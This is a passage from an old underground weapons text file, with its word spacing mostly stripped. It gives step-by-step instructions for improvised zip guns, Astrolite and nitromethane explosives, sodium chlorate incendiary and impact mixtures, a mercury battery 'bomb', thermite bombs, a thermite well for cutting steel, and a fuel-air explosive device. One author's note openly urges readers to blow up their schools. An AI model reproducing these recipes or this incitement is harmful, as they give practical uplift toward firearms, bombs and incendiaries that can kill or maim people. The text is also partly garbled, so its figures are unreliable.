isthentapedsecurelytothestockwithagood,strongtape.Thetriggerismadefrom
galvanizedtin.Aslotispunchedinthetriggerflaptoholdaroofingnail,whichis
wiredorsolderedontotheflap.Thetriggerisbentandnailedtothestockonboth
sides.Thepipeisashortlengthofonequarterinchsteelgasorwaterpipewitha
borethatfitsinacartridge,yetkeepsthecartridgerimfrompassingthroughthepipe.
Thecartridgeisputinthepipeandthecap,withaholeboredthroughit,isscrewed
on.Thenthetriggerisslowlyreleasedtoletthenail passthroughtheholeandreston
theprimer.Tofire,thetriggerispulledbackwiththelefthandandheldbackwith
thethumboftherighthand.Thegunisthenaimedandthethumbreleasesthe trigger
andthethingactuallyfires.Pipesofdifferentlengthsanddiametersarefoundinany
hardwarestore.Allcalibrebullets,fromthe.22tothe.45areusedinsuchguns.
Some zip guns are made from two or three pipes nested within each other. For
instance, a .22 shell will fit snugly into a length of a car's copper gas line.
Unfortunately,thecopperistooweaktowithstandthepressureofthefiring.Sothe
lengthofgaslineisspreadwithglueandpushedintoawiderlengthofpipe.Thisis
spreadwithglueandpushedintoalengthofsteelpipewiththreadsandacap.Using
thismethod,youcanaccomodateanycartridge,evenarifleshell.Thefirstsizeof
pipe for a rifle shell accomodates the bullet. The second accomodates its wider
powderchamber.A12gaugeshotguncanbemadefroma3/4inchsteelpipe.If
youwanttocomplywiththegunlaws,thebarrelshouldbeatleasteighteeninches
long.Itsfiringmechanismisthesameasthatforthepistol.Itnaturallyhasalonger
stockanditshandleislengthenedintoariflebutt.Also,asmallnailisdrivenhalf
wayintoeachsideofthestockaboutfourinchesinthefrontofthetrigger.The
rubberbandisputoveronenailandbroughtaroundthetriggerandsnaggedoverthe
othernail.Incaseyouactuallymakeazipgun,youshouldtestitbeforefiringitby
hand.Thisisdonebyfirsttyingtheguntoatreeorpost,pointedtowhereitwilldo
nodamage.Thenastringistiedtothetriggerandyougooffseveralyards.The
stringisthenpulledbackandletgo.Ifthebarreldoesnotblowup,thegunis
(probably)safetofirebyhand.Repeatfiringsmayweakenthebarrel,sonozipgun
canbeconsidered"safe"touse.
AstroliteandSodiumChlorateExplosives
byFutureSpy&TheFightingFalcon
Note: Information on the Astrolite Explosives were taken from the book Two

ComponentHighExplosiveMixturesbyDesertPub'l.Someofthechemicalsused
are somewhat toxic, but who gives a fuck ! Go ahead ! I won't even bother
mentioningThisinformationisforenlighteningpurposesonly!Iwouldloveitif
everyonemadeagallonofastroliteandblewtheirfuckingschooltokingdomscum!

Astrolite
Theastrolitefamilyofliquidexplosiveswereproductsofrocketpropellantresearch
inthe'60's.AstroliteA15issupposedtobetheworld'smostpowerfulnon
nuclearexplosiveatabout1,8to2timesmorepowerfulthanTNT.Beingmore
powerfulitisalsosafertohandlethanTNT(notthatitisn'tsafeinthefirstplace)
andNitroglycerin.
AstroliteG
"AstroliteGisaclearliquidexplosiveespeciallydesignedtoproduceveryhigh
detonation velocity, 8, 600MPS (meters/ sec.), compared with 7 700 MPS for
nitroglycerinand6900MPSforTNT.Inaddition,averyunusualcharacteristicis
thatittheliquidexplosivehastheabilitytobeabsorbedeasilyintothegroundwhile
remainingdetonable.Infieldtests,AstroliteGhasremaineddetonablefor4days in
theground,evenwhenthesoilwassoakedduetorainyweather"knowwhatthat
means?AstroliteDynamite!Tomake(mixinfairlylargecontainer&outside)Two
partsbyweightofammoniumnitratemixedwithonepartbyweightanhydroust
perfectandthatifyouscrewaroundwithitlongenough,thatyou'llfindabetter
formula.Also,dunnowhythebooksaysanhydroushydrazine,hydrazineisalready
anhydrous.Hydrazineisthechemicalyou'llprobablyhavethehardesttimegetting
holdof.UsesforHydrazineare:Rocketfuel,agriculturalchemicals(maleichydra
zide), drugs (antibacterial and antihypertension), polymerization catalyst, plating
metals on glass and plastics, solder fluxes, photographic developers, diving
equipment.Hydrazineisalsothechemicalyoushouldbecarefulwith.
AstroliteA/A15
Mix20%(weight)aluminiumpowdertotheammoniumnitrateandthenmixwith
hydrazine.Thealuminiumpowdershouldbe100meshorfiner.AstroliteAhasa
detonationvelocityof7800MPS.
Misc.info
Youshouldbecarefulnottogetanyoftheastroliteonyou,ifithappensthough,you
shouldflushtheareawithwater.AstroliteA&Gbothshouldbeabletobedetonated
bya#8blastingcap.
SodiumChlorateFormulas

 Sodium Chlorate is similar to potassium chlorate,and in most cases can be a

substitute. Sodium chlorate is also more soluble in water. You can find sodium
chlorate at Channel or any hardware/home improvement store. It is used in
blowtorchesandyoucangetabout3lbsforabout$6.
SodiumChlorateGunpowder
65%sodiumchlorate,22%charcoal,13%sulfur,sprinklesomegraphiteontop.
RocketFuel
6partssodiumchloratemixed*thoroughly*with5partsrubbercement.
RocketFuel2(betterperformance)
50%sodiumchlorate,35%rubbercement(OneCoatbrand),10%epoxyresin
hardener,5%sulfur
Youmaywanttoaddmoresodiumchloratedependingonthepurityyouareusing.

IncendiaryMixture
55%aluminiumpowder(atomized),45%sodiumchlorate,5%sulfur
ImpactMixture
50%redphosphorus,50%sodiumchlorate
Unlike potassium chlorate, sodium chlorate won't explode spontaneously when
mixedwithphosphorus.Ithastobehittobedetonated.
Fillerexplosive
85%sodiumchlorate,10%vaseline,5%aluminiumpowder
Nitromethaneformulas
IthoughtthatImightaddthisinsinceit'ssimilartoAstrolite.
Nitromethane(CH3NO2)
specificgravity:1,139
flashpoint:95f
autoignite:785f
derivation:reactionofmethaneorpropanewithnitricacidunderpressure.
uses:Rocketfuel;solventforcellulosiccompounds,polymers,waxes,fatsetc.

Tobedetonatedwitha#8cap,add:
1)95%nitromethane+5%ethylenediamine;
2)94%nitromethane+6%aniline
poweroutput:2224%morepowerfulthanTNT.Detonationvelocityof6200MPS.
Nitromethanesolidexplosives
2partsnitromethane,5partsammoniumnitrate(solidpowder);Soakfor35min.
when done, store in an airtight container. This is supposed to be 30 % more
powerful than dynamite containing 60 % nitro glycerine and has 30 % more
brilliance.
Mercurybaterrybomb!
byFuckedAgent!
Materials
1MercuryBattery(1,5or1,4VHearingAid);1workinglampwithon/offswitch.
Itisverysimple!!!Hurray!Kidsunder18shouldn'tconsideredtrythisoneorelse
theywouldhavemercuricacidontheirfaces!
Turnthelampswitchontoseeiflitebulblightsup.Ifwork,leavetheswitchon
andunplugthecord.Unscrewthebulb(Don'ttouchthehotspot!)Place1Mercury
BatteryinthesocketandmakesurethatitistouchingtheHotspotcontact.Move
anyobjectorfurnitureWhy?Theremaybesparxgivenoff!Nowyourfavourite
part,standbackandplugincordinthesocket.Andyouwillhavefun!!!LikeReal
Party!!!Allcreditsgototheirrespectivecreators.Release4.14.
PrimoPyro1990TermiteIncendiariesandFormulas
byJollyRoger
Disclaimer
Themakingandpossessionofthefollowingdevicesandmixturesisprobablyillegal
inmost communities.Theincendiariesarecapableof burninginexcessof5400
degreesF.andarenexttoimpossibletoextinguish.Ifyoumakethemyouacceptall
responsibilityfortheirpossessionanduse.Youalsoacceptallresponsibilityforyour
ownstupidityandcarelessness.Thisinformationisintendedsolelytoeducate.
AllFormulasarebyWeight
Termitesareagroupofpyrotechnicsmixturesinwhichareactivemetalreduces
oxygenfromametallicoxide.Thisproducesalotofheat,slagandpuremetal.The
mostcommontermiteisferroaluminiumtermite,madefromaluminium(reactive
metal)andironoxide(metaloxide).Whenitburnsitproducesaluminiumoxide

(slag)andpureiron.Termiteisusuallyusedtocutorweldmetal.Asanexperiment,
a3lb.brickoftermitewasplacedonanaluminiumengineblock.Afterthetermite
wasdoneburning,onlyasmallportionofblockwasmelted.However,theblockwas
verywarpedoutofshapeplustherewerecracksallthroughtheblock.Ferrotermite
producesabout930caloriespergram.Theusualproportionsofferrotermiteare25
%aluminiumand75%ironoxideTheironoxideusuallyusedisnot rust(Fe2O3)
butironscale(Fe3O4).Rustwillworkbutyoumaywanttoadjustthemixtureto
about77%rust.Thealuminiumisusuallycoarsepowdertohelpslowdownthe
burningrate.The chemicalsaremixedtogetherthoroughlyandcompressedintoa
suitablecontainer.Afirstfiremixispouredontopandignited.
Note: Termites are generallyvery safeto mixand store. They are not shock or
frictionsensitiveandigniteatabout2000degreesF.Afirstfiremixisamixturethat
igniteseasierthantermiteandburnshotenoughtolightthetermitereliably.Avery
goodoneis:PotassiumNitrate5parts;FinegroundAluminium3partsandSulphur
2parts.Mixtheabovethoroughlyandcombine2partsofitwith1partoffinely
powderedferrotermite.Theresultingmixturecanbelightbysafetyfuseandburns
intensely. One problem with termites is the difference in weight between the
aluminiumandtheoxide.Thiscausesthemtoseparateoutrenderingthetermite
useless.Onewaytofixthisistouseabindertoholdthechemicalstoeachother.
Sulphurisgoodforthis.CalledDiasite,thisformulausessulphurtobindallthe
chemicalstogether.It'sdrawbackisthetermitemustbeheatedtomeltthesulphur.
Iron Oxide 70 %; Aluminium 23 % and Sulphur 7 % and mix the oxide and
aluminiumtogetherandputtheminanovenat325degreesF.andletthemixheat
forawhile.Whenthemixtureishotsprinklethesulphuroveritandmixwell.Put
thisbackintheovenforafewminutestomeltallthesulphur.Pullitbackoutand
mixitagain.Whileitisstillhot,loadintocontainersforuse.Whenitcools,drillout
thediasitetoholdabout1015gramsoffirstfiremix.Whendiasiteburnsitforms
sulphidecompoundsthatreleasehydrogensulphidewhenincontactwithwater.This
rotten egg odour can hamper fire fighting efforts. Termite can be made not to
separatebycompressingitunderacoupleoftonspressure.Theresultingpelletis
strongandburnsslowerthantermitepowder.
CastTermite
Thisformulacanbecastintomouldsorcontainersandhardensintoasolidmass.It
doesnotproduceasmuchironasregularferrotermite,butitmakesaslagwhich
staysliquidalotlonger.Makeamixturesasfollows:PlasterofParis2parts;Fine
andCoarseMixedAluminium2partsandIronOxide3parts.Mixtogetherwelland
andenoughwatertowetdownplaster.Pouritintoamouldandletitsitfor1/2hour.
Pouroffanyextrawaterthatseparatesoutontop.Letthisdryinthesunforatleasta
week.Ordryinthesunforonedayandputina250degreeF.ovenforacoupleof
hours.Drillitoutforafirstfiremixwhendry.
Termitebomb

Termitecanbemadetoexplodebytakingthecasttermiteformulaandsubstituting
finepowderedaluminiumforthecoarse/finemix.Take15gramsoffirstfiremix
andputinthecentreofapieceofaluminiumfoil.Insertawaterprooffuseintothe
mixandgatherupthefoilaroundthefuse.Waterproofthefoil/fusewithathincoat
ofwax.Obtainatwopiecesphericalmouldwithadiameterofabout45inches.
Waxoroiltheinsideofthemouldtohelpreleasethetermite.Now,fillonehalfof
themouldwiththecasttermite.Putthefirstfire/fusepackageintothecentreofthe
filledmould.Filltheotherhalfofthemouldwiththetermiteandassemblemould.
Themouldwillhavetohaveaholeinitforthefusetostickout.Inaboutanhour,
carefullyseparatethemould.Youshouldhaveaballoftermitewiththefirstfiremix
inthecentreofit,andthefusestickingoutoftheball.Drytheballinthesunfor
aboutaweek.Donotdryitinanoven!Thefuseignitesthefirstfiremixwhichin
turnignitesthetermite.Sincethetermiteisignitedfromthecentreout,theheat
builds up in the termite and it burns faster than normal. The result is a small
explosion.Thetermiteballburnsinasplitsecondandthrowsmoltenironandslag
around.Usethiscarefully!
Termitewell
Tocutmetalwithtermite,takearefractorycrucibleanddrilla1/4in.holeinthe
bottom.Epoxyathin(20ga.)sheetofmildsteeloverthehole.Allowtheepoxyto
dry.Fillthecruciblewithferrotermiteandinsertafirstfireigniterinthetermite.
Fashionastandofftothecrucible.Thisshouldholdthecrucibleabout11/2in.up.
Placethewelloveryourtargetandignitethefirstfire.Thewellworksthisway.The
termiteburns,makingslagandiron.Sincetheironisheavieritgoestothebottomof
thewell.Themoltenironburnsthroughthemetalsheet.Thisproducesasmalldelay
whichgivestheironandslagmoretimetoseparatefully.Themoltenirondripsout
throughtheholeinthebottomofthecrucible.Thestandoffallowsthetermiteto
continueflowingoutofthecrucible.Theforceofthedrippingironboresaholein
thetarget.A2lb.termitewellcanpenetrateupto3/4in.ofsteel.Experimentwith
differentconfigurationstogetmaximumpenetration.Foracrucible,tryaflowerpot
coatedwithamagnesiumoxidelayer.Sometimesthepotcrackshowever.Takethe
casttermiteformulaandadd50%ferrotermitetoit.Thisproducesafairamountof
ironplusaveryliquidslag.
Termitefuelairexplosion
Thisisaverydangerousdevice.Askyourselfifyoureallytrulywanttomakeit
beforeyoudoanyworkonit.Itisnexttoimpossibletogiveanydimensionsof
containersorweightsofchargesbecauseoftheavailabilityofpartschangesfrom
one person to the next. However here is a general description of this device
affectionatelyknownasaHellHound.Makeatermitechargeina1/8in.wallpipe.
Thischargemustbeelectricallyignited.Attheoppositeendofthepipeawayfrom
theignitersideputasmallexplosivechargeofflashpowderweighingabout1oz.
Drillasmallholeinapipeendcapandrunthewiresfromtheigniterthroughthe

hole.Sealthewiresandholeupwithfuelproofepoxyorcement.Tryferrulecement
availableatsportinggoodsstores.Dopethethreadsoftheendcapswithagoodpipe
dopeandscrewthemontothepipe.Thisgivesyouatermitechargeinanironpipe
arrangedsothatwhenthetermiteiselectricallyignited,itwillburnfromoneendto
theotherfinallysettingoftheflashpowdercharge.Placethisdeviceinalargerpipe
orverystoutmetal containerwhichissealedatoneend.Useacoupleofmetal
"spiders"tokeepthedeviceawayfromthewallsorendsofthelargercontainer.Run
thewiresoutthroughthewallofthecontainerandsealthewireswiththefuelproof
epoxy.Fillthecontainerwithavolatileliquidfuel.Acetoneorgasolineworksgreat.
Nowsealupthecontainerwithanappropriateendcapanditisdone.Thedevice
workslikethis:Attachatimerpowersupplytothewires.Whenthetermiteisignited
it super heats the liquid fuel. Since the container is strong enough to hold the
pressurethefueldoesnotboil.Whenthetermiteburnsdowntotheexplosive,it
explodes rupturing the container and releasing the superheated fuel. The fuel
expands, cooling off and making a fine mist and vapour that mixes with the
surroundingair.Thehottermiteslagisalsothrownintotheairwhichignitesthe
fuelairmix.Theresultisobvious.Tryabout11/2lbsoftermitetoagallonoffuel.
Forthepressurevessel,tryanoldpressurecooker.Becausethefuelmaydissolvethe
epoxydon'tkeepthisdevicearoundforverylong.Butaskyourself,doyoureally
wanttomakethis?
ExoticTermites
Termitescanalsobemadefromteflonmagnesiumormetalfluoridesmagnesium
oraluminium.Ifthereisanexcessoffluoridecompoundinthemixture,fluorinegas
canbereleased.Fluorineisextremelycorrosiveandreactive.Thegascancause
organicmaterialtoburstintoflamesbymerecontact.Forteflonmagnesiumuse
67%teflonand33%magnesiumAstrongfirstfireignitershouldbeusedtoignite
thismixture.Boththeteflonandthemagnesiumshouldbeinpowderedform.Donot
inhaleanysmokefromtheburningmixture.Ifyouusemetalfluoridesinsteadof
teflon,usefluoridesoflowenergymetals.Leadfluorideisagoodexample.Try
using90%leadfluorideand10%aluminium.
Warning: Fluoride compounds can be very poisonous. They are approximately
equaltocyanidecompounds.Anotherexoticmixistricalciumorthophosphateand
aluminium.Whenthisburns,itformscalciumphosphidewhichwhencontactswater
releases hydrogen phosphide which can ignite spontaneously in air. Tricalcium
orthophosphate has the formula Ca3(PO4)2 and is known as white lockite. Use
about75%orthophosphateand25%aluminium.Thisratiomayhavetobealtered
forbetterburningasIhavenotexperimentedwithitmuchanddon'tknowifmore
aluminiummayreducethecalciumbetter.Itdoesworkbutitisahardtoignite
mixture.Afirstfiremixcontainingafewpercentofmagnesiumworkswell.
FightingTermitefires
Twowaystofighttermitefiresareeithersmotheringthetermitewithsand.This

doesn'tputoutthetermitebutitdoeshelpcontainitandblocksomeoftheheat.The
otherwayistofloodthetermitewithagreatamountofwater.Thishelpstobreakthe
termiteapartandstopthereaction.Ifyouuseasmallamountofwater,anexplosion
mayresultasthetermitemayreducethewaterandreleasehydrogengas.Termite
can start fires from the heat radiating from the reaction. Nearby flammable
substancescancatchfireeventhoughnosparksorflametouchthem.
Kilroywashere
Conclusion
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